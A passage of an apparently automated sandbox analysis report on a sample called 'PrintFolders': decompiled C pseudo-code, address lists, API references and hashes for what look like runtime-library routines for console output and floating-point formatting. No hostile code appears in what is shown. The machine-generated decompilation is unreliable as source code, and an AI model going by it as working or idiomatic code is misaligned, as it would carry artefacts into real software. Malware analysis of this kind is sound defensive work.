                                                          									 *(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2d) =  *(_t251 +  *((intOrPtr*)(0x10018110 + _t264 * 4)) + 0x2d) | 0x00000004;
                                                          									_t277 = _t273 + 1;
                                                          									goto L41;
                                                          								} else {
                                                          									_t206 = E100088CB( &_v76, _t269, 2);
                                                          									_t287 = _t286 + 0xc;
                                                          									__eflags = _t206 - 0xffffffff;
                                                          									if(_t206 == 0xffffffff) {
                                                          										goto L48;
                                                          									} else {
                                                          										_t269 = _v56;
                                                          										goto L27;
                                                          									}
                                                          								}
                                                          							}
                                                          						} else {
                                                          							_t264 = _t264 & 0x000000fb;
                                                          							_v24 =  *((intOrPtr*)(_t248 + _t186 + 0x2e));
                                                          							_v23 =  *_t269;
                                                          							_push(2);
                                                          							 *(_t248 + _v48 + 0x2d) = _t264;
                                                          							_push( &_v24);
                                                          							L26:
                                                          							_push( &_v76);
                                                          							_t190 = E100088CB();
                                                          							_t287 = _t286 + 0xc;
                                                          							__eflags = _t190 - 0xffffffff;
                                                          							if(_t190 == 0xffffffff) {
                                                          								goto L48;
                                                          							} else {
                                                          								goto L27;
                                                          							}
                                                          						}
                                                          						goto L49;
                                                          					}
                                                          				}
                                                          				L49:
                                                          				if(__eflags != 0) {
                                                          					_t183 = _v72;
                                                          					_t165 = _t183 + 0x350;
                                                          					 *_t165 =  *(_t183 + 0x350) & 0xfffffffd;
                                                          					__eflags =  *_t165;
                                                          				}
                                                          				__eflags = _v8 ^ _t285;
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				asm("movsd");
                                                          				return E100031FF(_a4, _t241, _v8 ^ _t285, _t264, _a4,  &_v92);
                                                          			}















































































                                                          0x1000c0df
                                                          0x1000c0e6
                                                          0x1000c0e9
                                                          0x1000c0f1
                                                          0x1000c0f4
                                                          0x1000c101
                                                          0x1000c104
                                                          0x1000c107
                                                          0x1000c10e
                                                          0x1000c116
                                                          0x1000c119
                                                          0x1000c11c
                                                          0x1000c122
                                                          0x1000c124
                                                          0x1000c12b
                                                          0x1000c135
                                                          0x1000c137
                                                          0x1000c13a
                                                          0x1000c13d
                                                          0x1000c140
                                                          0x1000c143
                                                          0x1000c146
                                                          0x1000c14c
                                                          0x1000c457
                                                          0x1000c457
                                                          0x00000000
                                                          0x1000c152
                                                          0x1000c15a
                                                          0x1000c15d
                                                          0x1000c163
                                                          0x1000c166
                                                          0x1000c16d
                                                          0x1000c174
                                                          0x1000c177
                                                          0x00000000
                                                          0x00000000
                                                          0x1000c180
                                                          0x1000c185
                                                          0x1000c187
                                                          0x1000c18a
                                                          0x1000c18f
                                                          0x1000c193
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000c193
                                                          0x1000c198
                                                          0x1000c19a
                                                          0x1000c19f
                                                          0x1000c259
                                                          0x1000c260
                                                          0x1000c261
                                                          0x1000c264
                                                          0x1000c266
                                                          0x1000c40a
                                                          0x1000c40c
                                                          0x00000000
                                                          0x1000c40e
                                                          0x1000c40e
                                                          0x1000c411
                                                          0x1000c420
                                                          0x1000c424
                                                          0x1000c425
                                                          0x1000c425
                                                          0x00000000
                                                          0x1000c429
                                                          0x1000c26c
                                                          0x1000c26e
                                                          0x1000c274
                                                          0x1000c277
                                                          0x1000c283
                                                          0x1000c28c
                                                          0x1000c297
                                                          0x1000c29c
                                                          0x1000c29f
                                                          0x1000c2a2
                                                          0x00000000
                                                          0x1000c2a8
                                                          0x1000c2a8
                                                          0x00000000
                                                          0x1000c2a8
                                                          0x1000c2a2
                                                          0x1000c1a5
                                                          0x1000c1b4
                                                          0x1000c1b5
                                                          0x1000c1b8
                                                          0x1000c1bb
                                                          0x1000c1c0
                                                          0x1000c3d6
                                                          0x1000c3d8
                                                          0x1000c3da
                                                          0x1000c3dc
                                                          0x1000c3e6
                                                          0x1000c3ee
                                                          0x1000c3f0
                                                          0x1000c3f1
                                                          0x1000c3f5
                                                          0x1000c3f8
                                                          0x1000c3f8
                                                          0x1000c3fc
                                                          0x1000c3fc
                                                          0x1000c3fc
                                                          0x1000c3ff
                                                          0x1000c3ff
                                                          0x1000c3ff
                                                          0x1000c401
                                                          0x1000c401
                                                          0x1000c405
                                                          0x1000c1c6
                                                          0x1000c1c6
                                                          0x1000c1c9
                                                          0x1000c1cb
                                                          0x1000c1ce
                                                          0x1000c1d1
                                                          0x1000c1d5
                                                          0x1000c1d6
                                                          0x1000c1da
                                                          0x1000c1dd
                                                          0x1000c1e2
                                                          0x1000c1ec
                                                          0x1000c1f1
                                                          0x1000c1f4
                                                          0x1000c1f7
                                                          0x1000c1f7
                                                          0x1000c1fa
                                                          0x1000c1fd
                                                          0x1000c1ff
                                                          0x1000c208
                                                          0x1000c20c
                                                          0x1000c20d
                                                          0x1000c211
                                                          0x1000c217
                                                          0x1000c220
                                                          0x1000c22d
                                                          0x1000c234
                                                          0x1000c238
                                                          0x1000c243
                                                          0x1000c248
                                                          0x1000c24e
                                                          0x00000000
                                                          0x1000c254
                                                          0x1000c2ab
                                                          0x1000c2ac
                                                          0x1000c32f
                                                          0x1000c336
                                                          0x1000c33e
                                                          0x1000c346
                                                          0x1000c34b
                                                          0x1000c34e
                                                          0x1000c353
                                                          0x00000000
                                                          0x1000c359
                                                          0x1000c36e
                                                          0x1000c44e
                                                          0x1000c454
                                                          0x00000000
                                                          0x1000c374
                                                          0x1000c37d
                                                          0x1000c37f
                                                          0x1000c385
                                                          0x00000000
                                                          0x1000c38b
                                                          0x1000c38f
                                                          0x1000c3c5
                                                          0x1000c3c8
                                                          0x00000000
                                                          0x1000c3ce
                                                          0x1000c3ce
                                                          0x00000000
                                                          0x1000c3ce
                                                          0x1000c391
                                                          0x1000c393
                                                          0x1000c395
                                                          0x1000c3ae
                                                          0x00000000
                                                          0x1000c3b4
                                                          0x1000c3b8
                                                          0x00000000
                                                          0x1000c3be
                                                          0x1000c3be
                                                          0x1000c3c1
                                                          0x1000c3c2
                                                          0x00000000
                                                          0x1000c3c2
                                                          0x1000c3b8
                                                          0x1000c3ae
                                                          0x1000c38f
                                                          0x1000c385
                                                          0x1000c36e
                                                          0x1000c353
                                                          0x1000c24e
                                                          0x1000c1c0
                                                          0x00000000
                                                          0x1000c2b0
                                                          0x1000c2b0
                                                          0x1000c2b4
                                                          0x1000c2b7
                                                          0x1000c2d9
                                                          0x1000c2dc
                                                          0x1000c2e1
                                                          0x1000c2e5
                                                          0x1000c2e9
                                                          0x1000c317
                                                          0x1000c319
                                                          0x00000000
                                                          0x1000c2eb
                                                          0x1000c2eb
                                                          0x1000c2eb
                                                          0x1000c2ee
                                                          0x1000c2f1
                                                          0x1000c2f4
                                                          0x1000c42b
                                                          0x1000c42e
                                                          0x1000c431
                                                          0x1000c43b
                                                          0x1000c446
                                                          0x1000c44b
                                                          0x00000000
                                                          0x1000c2fa
                                                          0x1000c301
                                                          0x1000c306
                                                          0x1000c309
                                                          0x1000c30c
                                                          0x00000000
                                                          0x1000c312
                                                          0x1000c312
                                                          0x00000000
                                                          0x1000c312
                                                          0x1000c30c
                                                          0x1000c2f4
                                                          0x1000c2b9
                                                          0x1000c2bd
                                                          0x1000c2c0
                                                          0x1000c2c5
                                                          0x1000c2cb
                                                          0x1000c2cd
                                                          0x1000c2d4
                                                          0x1000c31a
                                                          0x1000c31d
                                                          0x1000c31e
                                                          0x1000c323
                                                          0x1000c326
                                                          0x1000c329
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000c329
                                                          0x00000000
                                                          0x1000c2b7
                                                          0x1000c152
                                                          0x1000c45a
                                                          0x1000c45a
                                                          0x1000c45c
                                                          0x1000c45f
                                                          0x1000c45f
                                                          0x1000c45f
                                                          0x1000c45f
                                                          0x1000c471
                                                          0x1000c473
                                                          0x1000c474
                                                          0x1000c475
                                                          0x1000c47f

                                                          APIs
                                                          • GetConsoleOutputCP.KERNEL32(?,00000001,?), ref: 1000C11C
                                                          • __fassign.LIBCMT ref: 1000C301
                                                          • __fassign.LIBCMT ref: 1000C31E
                                                          • WriteFile.KERNEL32(?,10008E0A,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000C366
                                                          • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 1000C3A6
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000C44E
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: FileWrite__fassign$ConsoleErrorLastOutput
                                                          • String ID:
                                                          • API String ID: 1735259414-0
                                                          • Opcode ID: 98efbe4c6ee7657adc3feaa6b2c886c835ef08a3cb57c6140dfa4e34a11008b6
                                                          • Instruction ID: d8b638840345e1b49b0cc72bb3c582407c8398851cd7aadc47a9f3c0936b2730
                                                          • Opcode Fuzzy Hash: 98efbe4c6ee7657adc3feaa6b2c886c835ef08a3cb57c6140dfa4e34a11008b6
                                                          • Instruction Fuzzy Hash: E4C19E75D0025C9FEB11CFE8C8909EDBBB5FF08354F28816AE855B7246D631AE06CB60
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 81%
                                                          			E0041F139(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, char _a36, intOrPtr _a40) {
                                                          				signed int _v5;
                                                          				signed int _v12;
                                                          				signed int _v16;
                                                          				signed int _v20;
                                                          				unsigned int _v24;
                                                          				signed int _v32;
                                                          				signed int _v40;
                                                          				char _v48;
                                                          				intOrPtr _v56;
                                                          				char _v60;
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				signed char _t85;
                                                          				void* _t91;
                                                          				signed int _t95;
                                                          				signed int _t97;
                                                          				signed int _t98;
                                                          				signed int _t99;
                                                          				signed int _t104;
                                                          				signed int _t105;
                                                          				void* _t106;
                                                          				signed int _t107;
                                                          				void* _t108;
                                                          				void* _t110;
                                                          				void* _t113;
                                                          				void* _t115;
                                                          				signed int _t117;
                                                          				signed int* _t118;
                                                          				void* _t121;
                                                          				signed int _t123;
                                                          				signed int _t129;
                                                          				signed int* _t130;
                                                          				signed int* _t133;
                                                          				signed int _t134;
                                                          				signed int _t137;
                                                          				signed int _t139;
                                                          				signed int _t141;
                                                          				signed int _t146;
                                                          				signed int _t147;
                                                          				signed int _t149;
                                                          				signed int _t150;
                                                          				void* _t154;
                                                          				unsigned int _t155;
                                                          				signed int _t162;
                                                          				void* _t163;
                                                          				signed int _t164;
                                                          				signed int* _t165;
                                                          				signed int _t168;
                                                          				signed int _t173;
                                                          				signed int _t174;
                                                          				signed int _t175;
                                                          				signed int _t177;
                                                          				signed int _t178;
                                                          				signed int _t179;
                                                          				void* _t181;
                                                          
                                                          				_t163 = __edx;
                                                          				_t173 = _a24;
                                                          				if(_t173 < 0) {
                                                          					_t173 = 0;
                                                          				}
                                                          				_t177 = _a8;
                                                          				_t4 =  &_a36; // 0x414855
                                                          				 *_t177 = 0;
                                                          				E00413621( &_v60, _t163,  *_t4);
                                                          				_t5 = _t173 + 0xb; // 0xb
                                                          				_t185 = _a12 - _t5;
                                                          				if(_a12 > _t5) {
                                                          					_t133 = _a4;
                                                          					_t139 = _t133[1];
                                                          					_t164 =  *_t133;
                                                          					__eflags = (_t139 >> 0x00000014 & 0x000007ff) - 0x7ff;
                                                          					if((_t139 >> 0x00000014 & 0x000007ff) != 0x7ff) {
                                                          						__eflags = _t139;
                                                          						if(__eflags > 0) {
                                                          							L14:
                                                          							_t18 = _t177 + 1; // 0x2
                                                          							_t165 = _t18;
                                                          							_t85 = _a28 ^ 0x00000001;
                                                          							_v16 = 0x3ff;
                                                          							_v5 = _t85;
                                                          							_v40 = _t165;
                                                          							_v32 = ((_t85 & 0x000000ff) << 5) + 7;
                                                          							__eflags = _t139 & 0x7ff00000;
                                                          							_t91 = 0x30;
                                                          							if((_t139 & 0x7ff00000) != 0) {
                                                          								 *_t177 = 0x31;
                                                          								L19:
                                                          								_t141 = 0;
                                                          								__eflags = 0;
                                                          								L20:
                                                          								_t26 =  &(_t165[0]); // 0x2
                                                          								_t178 = _t26;
                                                          								_v12 = _t178;
                                                          								__eflags = _t173;
                                                          								if(_t173 != 0) {
                                                          									_t95 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v56 + 0x88))))));
                                                          								} else {
                                                          									_t95 = _t141;
                                                          								}
                                                          								 *_t165 = _t95;
                                                          								_t97 = _t133[1] & 0x000fffff;
                                                          								__eflags = _t97;
                                                          								_v24 = _t97;
                                                          								if(_t97 > 0) {
                                                          									L25:
                                                          									_t166 = _t141;
                                                          									_t142 = 0xf0000;
                                                          									_t98 = 0x30;
                                                          									_v12 = _t98;
                                                          									_v20 = _t141;
                                                          									_v24 = 0xf0000;
                                                          									do {
                                                          										__eflags = _t173;
                                                          										if(_t173 <= 0) {
                                                          											break;
                                                          										}
                                                          										_t121 = E0042BF40( *_t133 & _t166, _v12, _t133[1] & _t142 & 0x000fffff);
                                                          										_t154 = 0x30;
                                                          										_t123 = _t121 + _t154 & 0x0000ffff;
                                                          										__eflags = _t123 - 0x39;
                                                          										if(_t123 > 0x39) {
                                                          											_t123 = _t123 + _v32;
                                                          											__eflags = _t123;
                                                          										}
                                                          										_t155 = _v24;
                                                          										_t166 = (_t155 << 0x00000020 | _v20) >> 4;
                                                          										 *_t178 = _t123;
                                                          										_t178 = _t178 + 1;
                                                          										_t142 = _t155 >> 4;
                                                          										_t98 = _v12 - 4;
                                                          										_t173 = _t173 - 1;
                                                          										_v20 = (_t155 << 0x00000020 | _v20) >> 4;
                                                          										_v24 = _t155 >> 4;
                                                          										_v12 = _t98;
                                                          										__eflags = _t98;
                                                          									} while (_t98 >= 0);
                                                          									_v12 = _t178;
                                                          									__eflags = _t98;
                                                          									if(__eflags < 0) {
                                                          										goto L42;
                                                          									}
                                                          									_t117 = E0041F954(__eflags, _t133, _t166, _t142, _t98, _a40);
                                                          									_t181 = _t181 + 0x14;
                                                          									__eflags = _t117;
                                                          									if(_t117 == 0) {
                                                          										goto L42;
                                                          									}
                                                          									_t50 = _t178 - 1; // 0x2
                                                          									_t118 = _t50;
                                                          									_t137 = 0x30;
                                                          									while(1) {
                                                          										_t149 =  *_t118;
                                                          										__eflags = _t149 - 0x66;
                                                          										if(_t149 == 0x66) {
                                                          											goto L35;
                                                          										}
                                                          										__eflags = _t149 - 0x46;
                                                          										if(_t149 != 0x46) {
                                                          											_t133 = _a4;
                                                          											__eflags = _t118 - _v40;
                                                          											if(_t118 == _v40) {
                                                          												_t54 = _t118 - 1;
                                                          												 *_t54 =  *(_t118 - 1) + 1;
                                                          												__eflags =  *_t54;
                                                          											} else {
                                                          												__eflags = _t149 - 0x39;
                                                          												if(_t149 != 0x39) {
                                                          													_t150 = _t149 + 1;
                                                          													__eflags = _t150;
                                                          												} else {
                                                          													_t150 = _v32 + 0x3a;
                                                          												}
                                                          												 *_t118 = _t150;
                                                          											}
                                                          											goto L42;
                                                          										}
                                                          										L35:
                                                          										 *_t118 = _t137;
                                                          										_t118 = _t118 - 1;
                                                          									}
                                                          								} else {
                                                          									__eflags =  *_t133 - _t141;
                                                          									if( *_t133 <= _t141) {
                                                          										L42:
                                                          										__eflags = _t173;
                                                          										if(_t173 > 0) {
                                                          											_push(_t173);
                                                          											_t115 = 0x30;
                                                          											_push(_t115);
                                                          											_push(_t178);
                                                          											E00410B00(_t173);
                                                          											_t178 = _t178 + _t173;
                                                          											__eflags = _t178;
                                                          											_v12 = _t178;
                                                          										}
                                                          										_t99 = _v40;
                                                          										__eflags =  *_t99;
                                                          										if( *_t99 == 0) {
                                                          											_t178 = _t99;
                                                          											_v12 = _t178;
                                                          										}
                                                          										 *_t178 = (_v5 << 5) + 0x50;
                                                          										_t104 = E0042BF40( *_t133, 0x34, _t133[1]);
                                                          										_t179 = 0;
                                                          										_t105 = _v12;
                                                          										_t146 = (_t104 & 0x000007ff) - _v16;
                                                          										__eflags = _t146;
                                                          										asm("sbb esi, esi");
                                                          										_t168 = _t105 + 2;
                                                          										_v40 = _t168;
                                                          										if(__eflags < 0) {
                                                          											L50:
                                                          											_t146 =  ~_t146;
                                                          											asm("adc esi, 0x0");
                                                          											_t179 =  ~_t179;
                                                          											_t134 = 0x2d;
                                                          											goto L51;
                                                          										} else {
                                                          											if(__eflags > 0) {
                                                          												L49:
                                                          												_t134 = 0x2b;
                                                          												L51:
                                                          												 *(_t105 + 1) = _t134;
                                                          												_t174 = _t168;
                                                          												_t106 = 0x30;
                                                          												 *_t168 = _t106;
                                                          												_t107 = 0;
                                                          												__eflags = _t179;
                                                          												if(__eflags < 0) {
                                                          													L55:
                                                          													__eflags = _t174 - _t168;
                                                          													if(_t174 != _t168) {
                                                          														L59:
                                                          														_push(_t134);
                                                          														_push(_t107);
                                                          														_push(0x64);
                                                          														_push(_t179);
                                                          														_t108 = E0042BE40();
                                                          														_t179 = _t134;
                                                          														_t134 = _t146;
                                                          														_v32 = _t168;
                                                          														_t168 = _v40;
                                                          														 *_t174 = _t108 + 0x30;
                                                          														_t174 = _t174 + 1;
                                                          														_t107 = 0;
                                                          														__eflags = 0;
                                                          														L60:
                                                          														__eflags = _t174 - _t168;
                                                          														if(_t174 != _t168) {
                                                          															L64:
                                                          															_push(_t134);
                                                          															_push(_t107);
                                                          															_push(0xa);
                                                          															_push(_t179);
                                                          															_push(_t146);
                                                          															_t110 = E0042BE40();
                                                          															_v40 = _t168;
                                                          															 *_t174 = _t110 + 0x30;
                                                          															_t174 = _t174 + 1;
                                                          															_t107 = 0;
                                                          															__eflags = 0;
                                                          															L65:
                                                          															_t147 = _t146 + 0x30;
                                                          															__eflags = _t147;
                                                          															 *_t174 = _t147;
                                                          															 *(_t174 + 1) = _t107;
                                                          															_t175 = _t107;
                                                          															L66:
                                                          															if(_v48 != 0) {
                                                          																 *(_v60 + 0x350) =  *(_v60 + 0x350) & 0xfffffffd;
                                                          															}
                                                          															return _t175;
                                                          														}
                                                          														__eflags = _t179 - _t107;
                                                          														if(__eflags < 0) {
                                                          															goto L65;
                                                          														}
                                                          														if(__eflags > 0) {
                                                          															goto L64;
                                                          														}
                                                          														__eflags = _t146 - 0xa;
                                                          														if(_t146 < 0xa) {
                                                          															goto L65;
                                                          														}
                                                          														goto L64;
                                                          													}
                                                          													__eflags = _t179 - _t107;
                                                          													if(__eflags < 0) {
                                                          														goto L60;
                                                          													}
                                                          													if(__eflags > 0) {
                                                          														goto L59;
                                                          													}
                                                          													__eflags = _t146 - 0x64;
                                                          													if(_t146 < 0x64) {
                                                          														goto L60;
                                                          													}
                                                          													goto L59;
                                                          												}
                                                          												_t134 = 0x3e8;
                                                          												if(__eflags > 0) {
                                                          													L54:
                                                          													_push(_t134);
                                                          													_push(_t107);
                                                          													_push(_t134);
                                                          													_push(_t179);
                                                          													_t113 = E0042BE40();
                                                          													_t179 = _t134;
                                                          													_t134 = _t146;
                                                          													_v32 = _t168;
                                                          													_t168 = _v40;
                                                          													 *_t168 = _t113 + 0x30;
                                                          													_t174 = _t168 + 1;
                                                          													_t107 = 0;
                                                          													__eflags = 0;
                                                          													goto L55;
                                                          												}
                                                          												__eflags = _t146 - 0x3e8;
                                                          												if(_t146 < 0x3e8) {
                                                          													goto L55;
                                                          												}
                                                          												goto L54;
                                                          											}
                                                          											__eflags = _t146;
                                                          											if(_t146 < 0) {
                                                          												goto L50;
                                                          											}
                                                          											goto L49;
                                                          										}
                                                          									}
                                                          									goto L25;
                                                          								}
                                                          							}
                                                          							 *_t177 = _t91;
                                                          							_t141 =  *_t133 | _t133[1] & 0x000fffff;
                                                          							__eflags = _t141;
                                                          							if(_t141 != 0) {
                                                          								_v16 = 0x3fe;
                                                          								goto L19;
                                                          							}
                                                          							_v16 = _t141;
                                                          							goto L20;
                                                          						}
                                                          						if(__eflags < 0) {
                                                          							L13:
                                                          							 *_t177 = 0x2d;
                                                          							_t177 = _t177 + 1;
                                                          							__eflags = _t177;
                                                          							_t139 = _t133[1];
                                                          							goto L14;
                                                          						}
                                                          						__eflags = _t164;
                                                          						if(_t164 >= 0) {
                                                          							goto L14;
                                                          						}
                                                          						goto L13;
                                                          					}
                                                          					_t175 = E0041F448(_t133, _t139, _t164, _t133, _t177, _a12, _a16, _a20, _t173, 0, _a32, 0, _a40);
                                                          					__eflags = _t175;
                                                          					if(_t175 == 0) {
                                                          						_t129 = E0042BFF0(_t177, 0x65);
                                                          						__eflags = _t129;
                                                          						if(_t129 != 0) {
                                                          							_t162 = ((_a28 ^ 0x00000001) << 5) + 0x50;
                                                          							__eflags = _t162;
                                                          							 *_t129 = _t162;
                                                          							 *((char*)(_t129 + 3)) = 0;
                                                          						}
                                                          						_t175 = 0;
                                                          					} else {
                                                          						 *_t177 = 0;
                                                          					}
                                                          					goto L66;
                                                          				}
                                                          				_t130 = E004135F1(_t185);
                                                          				_t175 = 0x22;
                                                          				 *_t130 = _t175;
                                                          				E00413517();
                                                          				goto L66;
                                                          			}


























































                                                          0x0041f139
                                                          0x0041f144
                                                          0x0041f149
                                                          0x0041f14b
                                                          0x0041f14b
                                                          0x0041f14f
                                                          0x0041f155
                                                          0x0041f158
                                                          0x0041f15a
                                                          0x0041f15f
                                                          0x0041f162
                                                          0x0041f165
                                                          0x0041f17b
                                                          0x0041f17e
                                                          0x0041f183
                                                          0x0041f18d
                                                          0x0041f192
                                                          0x0041f1e9
                                                          0x0041f1eb
                                                          0x0041f1fa
                                                          0x0041f1fd
                                                          0x0041f1fd
                                                          0x0041f200
                                                          0x0041f202
                                                          0x0041f209
                                                          0x0041f21b
                                                          0x0041f21e
                                                          0x0041f223
                                                          0x0041f227
                                                          0x0041f228
                                                          0x0041f248
                                                          0x0041f24b
                                                          0x0041f24b
                                                          0x0041f24b
                                                          0x0041f24d
                                                          0x0041f24d
                                                          0x0041f24d
                                                          0x0041f250
                                                          0x0041f253
                                                          0x0041f255
                                                          0x0041f266
                                                          0x0041f257
                                                          0x0041f257
                                                          0x0041f257
                                                          0x0041f268
                                                          0x0041f26d
                                                          0x0041f26d
                                                          0x0041f272
                                                          0x0041f275
                                                          0x0041f27f
                                                          0x0041f281
                                                          0x0041f283
                                                          0x0041f288
                                                          0x0041f289
                                                          0x0041f28c
                                                          0x0041f28f
                                                          0x0041f292
                                                          0x0041f292
                                                          0x0041f294
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f2ab
                                                          0x0041f2b2
                                                          0x0041f2b6
                                                          0x0041f2b9
                                                          0x0041f2bc
                                                          0x0041f2be
                                                          0x0041f2be
                                                          0x0041f2be
                                                          0x0041f2c4
                                                          0x0041f2c7
                                                          0x0041f2cb
                                                          0x0041f2cd
                                                          0x0041f2d1
                                                          0x0041f2d4
                                                          0x0041f2d7
                                                          0x0041f2d8
                                                          0x0041f2db
                                                          0x0041f2de
                                                          0x0041f2e1
                                                          0x0041f2e1
                                                          0x0041f2e6
                                                          0x0041f2e9
                                                          0x0041f2ec
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f2f5
                                                          0x0041f2fa
                                                          0x0041f2fd
                                                          0x0041f2ff
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f303
                                                          0x0041f303
                                                          0x0041f306
                                                          0x0041f307
                                                          0x0041f307
                                                          0x0041f309
                                                          0x0041f30c
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f30e
                                                          0x0041f311
                                                          0x0041f318
                                                          0x0041f31b
                                                          0x0041f31e
                                                          0x0041f333
                                                          0x0041f333
                                                          0x0041f333
                                                          0x0041f320
                                                          0x0041f320
                                                          0x0041f323
                                                          0x0041f32d
                                                          0x0041f32d
                                                          0x0041f325
                                                          0x0041f328
                                                          0x0041f328
                                                          0x0041f32f
                                                          0x0041f32f
                                                          0x00000000
                                                          0x0041f31e
                                                          0x0041f313
                                                          0x0041f313
                                                          0x0041f315
                                                          0x0041f315
                                                          0x0041f277
                                                          0x0041f277
                                                          0x0041f279
                                                          0x0041f336
                                                          0x0041f336
                                                          0x0041f338
                                                          0x0041f33a
                                                          0x0041f33d
                                                          0x0041f33e
                                                          0x0041f33f
                                                          0x0041f340
                                                          0x0041f348
                                                          0x0041f348
                                                          0x0041f34a
                                                          0x0041f34a
                                                          0x0041f34d
                                                          0x0041f350
                                                          0x0041f353
                                                          0x0041f355
                                                          0x0041f357
                                                          0x0041f357
                                                          0x0041f364
                                                          0x0041f36b
                                                          0x0041f372
                                                          0x0041f374
                                                          0x0041f37d
                                                          0x0041f37d
                                                          0x0041f380
                                                          0x0041f382
                                                          0x0041f385
                                                          0x0041f388
                                                          0x0041f394
                                                          0x0041f394
                                                          0x0041f398
                                                          0x0041f39b
                                                          0x0041f39d
                                                          0x00000000
                                                          0x0041f38a
                                                          0x0041f38a
                                                          0x0041f390
                                                          0x0041f390
                                                          0x0041f39e
                                                          0x0041f39e
                                                          0x0041f3a1
                                                          0x0041f3a5
                                                          0x0041f3a6
                                                          0x0041f3a8
                                                          0x0041f3aa
                                                          0x0041f3ac
                                                          0x0041f3d6
                                                          0x0041f3d6
                                                          0x0041f3d8
                                                          0x0041f3e5
                                                          0x0041f3e5
                                                          0x0041f3e6
                                                          0x0041f3e7
                                                          0x0041f3e9
                                                          0x0041f3eb
                                                          0x0041f3f0
                                                          0x0041f3f2
                                                          0x0041f3f6
                                                          0x0041f3f9
                                                          0x0041f3fc
                                                          0x0041f3fe
                                                          0x0041f3ff
                                                          0x0041f3ff
                                                          0x0041f401
                                                          0x0041f401
                                                          0x0041f403
                                                          0x0041f410
                                                          0x0041f410
                                                          0x0041f411
                                                          0x0041f412
                                                          0x0041f414
                                                          0x0041f415
                                                          0x0041f416
                                                          0x0041f41f
                                                          0x0041f422
                                                          0x0041f424
                                                          0x0041f425
                                                          0x0041f425
                                                          0x0041f427
                                                          0x0041f427
                                                          0x0041f427
                                                          0x0041f42a
                                                          0x0041f42c
                                                          0x0041f42f
                                                          0x0041f431
                                                          0x0041f437
                                                          0x0041f43c
                                                          0x0041f43c
                                                          0x0041f447
                                                          0x0041f447
                                                          0x0041f405
                                                          0x0041f407
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f409
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f40b
                                                          0x0041f40e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f40e
                                                          0x0041f3da
                                                          0x0041f3dc
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f3de
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f3e0
                                                          0x0041f3e3
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f3e3
                                                          0x0041f3ae
                                                          0x0041f3b3
                                                          0x0041f3b9
                                                          0x0041f3b9
                                                          0x0041f3ba
                                                          0x0041f3bb
                                                          0x0041f3bc
                                                          0x0041f3be
                                                          0x0041f3c3
                                                          0x0041f3c5
                                                          0x0041f3c7
                                                          0x0041f3cc
                                                          0x0041f3cf
                                                          0x0041f3d1
                                                          0x0041f3d4
                                                          0x0041f3d4
                                                          0x00000000
                                                          0x0041f3d4
                                                          0x0041f3b5
                                                          0x0041f3b7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f3b7
                                                          0x0041f38c
                                                          0x0041f38e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f38e
                                                          0x0041f388
                                                          0x00000000
                                                          0x0041f279
                                                          0x0041f275
                                                          0x0041f22a
                                                          0x0041f236
                                                          0x0041f236
                                                          0x0041f238
                                                          0x0041f23f
                                                          0x00000000
                                                          0x0041f23f
                                                          0x0041f23a
                                                          0x00000000
                                                          0x0041f23a
                                                          0x0041f1ed
                                                          0x0041f1f3
                                                          0x0041f1f3
                                                          0x0041f1f6
                                                          0x0041f1f6
                                                          0x0041f1f7
                                                          0x00000000
                                                          0x0041f1f7
                                                          0x0041f1ef
                                                          0x0041f1f1
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041f1f1
                                                          0x0041f1af
                                                          0x0041f1b4
                                                          0x0041f1b6
                                                          0x0041f1c3
                                                          0x0041f1ca
                                                          0x0041f1cc
                                                          0x0041f1d7
                                                          0x0041f1d7
                                                          0x0041f1da
                                                          0x0041f1dc
                                                          0x0041f1dc
                                                          0x0041f1e0
                                                          0x0041f1b8
                                                          0x0041f1b8
                                                          0x0041f1b8
                                                          0x00000000
                                                          0x0041f1b6
                                                          0x0041f167
                                                          0x0041f16e
                                                          0x0041f16f
                                                          0x0041f171
                                                          0x00000000

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: _strrchr
                                                          • String ID: UHA
